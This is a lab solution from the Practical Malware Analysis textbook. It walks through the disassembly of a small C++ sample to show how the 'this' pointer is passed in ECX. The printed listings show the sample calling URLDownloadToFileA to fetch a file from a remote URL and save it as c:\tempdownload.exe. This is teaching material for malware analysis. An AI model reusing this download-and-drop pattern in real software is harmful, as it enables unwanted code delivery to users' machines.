Lab 20-1 Solutions

Short Answers

The function at 0x401040 does not take any parameters, but it is passed a reference to an object in ECX that represents the this pointer.
The call to URLDownloadToFile uses http://www.practicalmalwareanalysis.com/cpp.html as the URL.
This program downloads a file from a remote server and stores it as c:\tempdownload.exe on the local system.

Detailed Analysis

This short lab is intended to demonstrate the usage of the this pointer. The bulk of the main method is shown in Example C-209.

Example C-209. The main method for Lab20-01.exe

00401006                 push    4
00401008                ❶call    ??2@YAPAXI@Z    ; operator new(uint)
0040100D                 add     esp, 4
00401010                ❷mov     [ebp+var_8], eax
00401013                 mov     eax, [ebp+var_8]
00401016                ❸mov     [ebp+var_4], eax
00401019                ❹mov     ecx, [ebp+var_4]
0040101C                 mov     dword ptr [ecx], offset aHttpWww_practi ;
                               ;0 "http://www.practicalmalwareanalysis.com"...
00401022                 mov     ecx, [ebp+var_4]
00401025                 call    sub_401040

The code in Example C-209 begins with a call to the new operator at ❶, which tells us that this code is creating an object. A reference to the object is returned in EAX, and is eventually stored in var_8 at ❷ and var_4 at ❸. var_4 is moved into ECX at ❹, indicating that it will be passed as the this pointer in a function call. A pointer to the URL http://www.practicalmalwareanalysis.com/cpp.html is then stored at the beginning of the object, followed by a call to the function sub_401040, which is shown in Example C-210.

Example C-210. Code listing for sub_401040

00401043                 push    ecx
00401044                ❶mov     [ebp+var_4], ecx
00401047                 push    0               ; LPBINDSTATUSCALLBACK
00401049                 push    0               ; DWORD
0040104B                 push    offset aCEmpdownload_e ; "c:\tempdownload.exe"
00401050                ❷mov     eax, [ebp+var_4]
00401053                ❸mov     ecx, [eax]
00401055                ❹push    ecx             ; LPCSTR
00401056                 push    0               ; LPUNKNOWN
00401058                 call    URLDownloadToFileA

In Example C-210, we see the this pointer in ECX accessed and stored in var_4 at ❶. The remainder of the code is arguments being placed on the stack for the call to URLDownloadToFileA. To obtain the URL that will be used for the function call, the this pointer is accessed at ❷, then the first data element stored in the object is accessed at ❸, and then it’s pushed onto the stack at ❹.

Recall from the main method that the first element stored in the object was the URL string http://www.practicalmalwareanalysis.com/cpp.html. The main method returns, and the program is finished executing.

Table of Contents for Practical Malware Analysis

Lab 20-1 Solutions

Short Answers

Detailed Analysis

Table of Contents for
Practical Malware Analysis